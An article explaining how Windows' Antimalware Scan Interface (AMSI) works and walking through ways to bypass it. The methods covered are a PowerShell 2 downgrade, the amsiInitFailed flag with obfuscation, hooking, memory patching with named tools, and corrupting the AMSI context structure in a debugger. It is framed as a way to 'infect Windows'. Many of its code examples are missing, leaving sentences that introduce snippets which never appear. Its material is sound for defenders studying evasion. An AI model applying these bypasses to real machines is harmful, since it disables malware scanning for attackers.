F#ck AMSI! How to bypass Antimalware Scan Interface and infect Windows

Antimalware Scan Interface (AMSI) was developed by Microsoft to protect users from malware and introduced for the first time in Windows 10. AMSI intercepts PowerShell, JavaScript, VBScript, VBA, or .NET scripts and commands in real time and sends them to the antivirus software for scanning. This antivirus software may not necessarily be Microsoft Defender (to date, more then ten vendors support AMSI), but the examples discussed below involve Defender.

How it works

When a user launches a script or initializes a PowerShell (or PowerShell_ISE) process, the AMSI.DLL library is automatically loaded into this process. This library provides the API required for interaction with antivirus software. Prior to the execution, a script or command is sent to Microsoft Defender using a remote procedure call (RPC); Microsoft Defender, in turn, analyzes the received information and sends a response back to AMSI.DLL. If a known signature is detected, the execution is interrupted and a message stating that the script is blocked by the antivirus program is displayed.

As you can see, the above scheme includes two functions: AmsiScanString() and AmsiScanBuffer(); they play the main role in the chain AmsiInitialize, AmsiOpenSession, AmsiScanString, AmsiScanBuffer, and AmsiCloseSession. If you look at Exports for amsi.dll, you’ll see the following.

However, the most part of this list is of no interest to you today.

Let’s say, you run PowerShell. Before you can enter any commands, AMSI.DLL has to be loaded and AmsiInitialize() will be called.

This function uses two arguments: the app name and a pointer to the CONTEXT structure. The amsiContext parameter will be used in each subsequent AMSI API call.

When you enter a command or try to execute a script, AmsiOpenSession() is called:

This function also passes two arguments: amsiContext obtained at the AmsiInitialize()step and a pointer to the SESSION structure. The amsiSession parameter will be used in each subsequent AMSI API call within this session.

Then above-mentioned AmsiScanString() and AmsiScanBuffer() come into play. Their names clearly indicate what parameters do these functions pass for verification, and their syntaxes are almost identical.

Defender checks the buffer or the string and returns the result. Code 32768 indicates that some malware was detected; 1 indicates that everything is fine.

Finally, after all these checks, the current session is closed using AmsiCloseSession.

How to bypass the check

AMSI uses rule-based threat detection. Knowing this, you can invent various circumvention tactics and techniques. Some well-known methods have already become obsolete and don’t work anymore, but you can use code modification, obfuscation, and encryption to achieve your goal.

PowerShell downgrade

This bypass technique is trivial, but sometimes it works. Even though PowerShell 2.0 is outdated, Microsoft hasn’t removed it from the operating system yet. The old version of PowerShell does not have such protective mechanisms as AMSI, and sometimes it’s enough to use the command powershell -version 2 to circumvent detection.

amsiInitFailed

Another way to prevent scanning is to set the amsiInitFailed flag for the current process:

However, this is not that simple: to execute this command, you have to find out a suitable obfuscation method because it triggers detection, too.

One of the possible obfuscation variants is as follows:

Obfuscation is a creative process that lets your imagination run free. For instance, this way:

Or that way:

For more code obfuscation ideas, see the amsi.fail resource.

Hooking

Function hooking is a method that enables you to take control of a function prior to calling it. In this particular case, it’s necessary to overwrite the arguments that will be passed for verification by the AmsiScanBuffer() (or AmsiScanString()) function.

The idea is simple: you inject a DLL that will catch AmsiScanBuffer() and pass something innocent for verification. You can use, for instance, AmsiHook.dll; the injector is available there as well.

Memory patching

Plenty of utilities support this technique, and you can select any one you like. The principle is the same: AmsiScanBuffer() is patched so that it always returns the “Scan passed successfully” value. Below are some of these tools:

• AmsiScanBufferBypass;
• my-am-bypass.ps1;
• AMSI-Bypass.ps1;
• AMSI-Bypass.cs; and 
• NoAmci.

Let’s use, for example, my-am-bypass.ps1 to perform memory patching.

Forcing an error

If you carefully review the AMSI operating principle, you’ll notice that all its functions contain the amsiContext structure. The main idea of this bypass technique is to force an error in this structure, thus, breaking the entire validation routine. The problem is that Microsoft doesn’t document this structure in any way (too bad, AMSI is poorly documented).

Let’s examine this technique using Frida (to find the address) and a debugger (to see what’s going on there).

I enter something and review Frida’s output

Then I open the PowerShell process in the debugger and see what’s located at this address. I don’t know the size of this structure, but the first four bytes correspond to AMSI.

Further examination shows that the rcx register (containing the first argument of the function) is compared with the above four bytes; if these values are not equal, the execution is passed to amsi!AmsiOpenSession+0x4c.

As you can see, the function returns the content of the eax register; while the documentation states that the returned value type is HRESULT.

The required information can be found on the Microsoft website:

If the first four bytes of the context structure don’t match AMSI, then AmsiOpenSession will return an error. The main question is: what are the consequences of this error and what happens if the bytes don’t match?

The only way to check this is to force an error and see what happens. To do so, set a breakpoint at AmsiOpenSession and then change the four bytes to the value 0000. I make sure that the value 49534d41 (dc rcx L1) is in the rcx register, change it to 0 (ed rcx 0), and then check whether the execution was successful and the rcx register now contains 00000000 (dc rcx L1 one more time).

I check frida-trace and see the much-desired AmsiScanBuffer() Exit. Has this error broken the AMSI validation routine? Let’s test the theory by doing something ‘malicious’.

The method involving a debugger was used just to explain the theory; of course, no one uses a debugger in real-life situations. In fact, all you have to do to implement this technique is enter a few commands in PowerShell.

Conclusions

The above examples demonstrate that it’s not a big deal to bypass the AMSI protection. Well-known techniques can significantly simplify the post-exploitation (or even exploitation) phase.

Of course, AMSI increases the protection of Windows 10 and Windows Server systems from compromise. But it’s not a panacea. Even though Microsoft Defender provides some protection against AMSI bypass, attackers continuously invent new ways to hide malicious content from detection.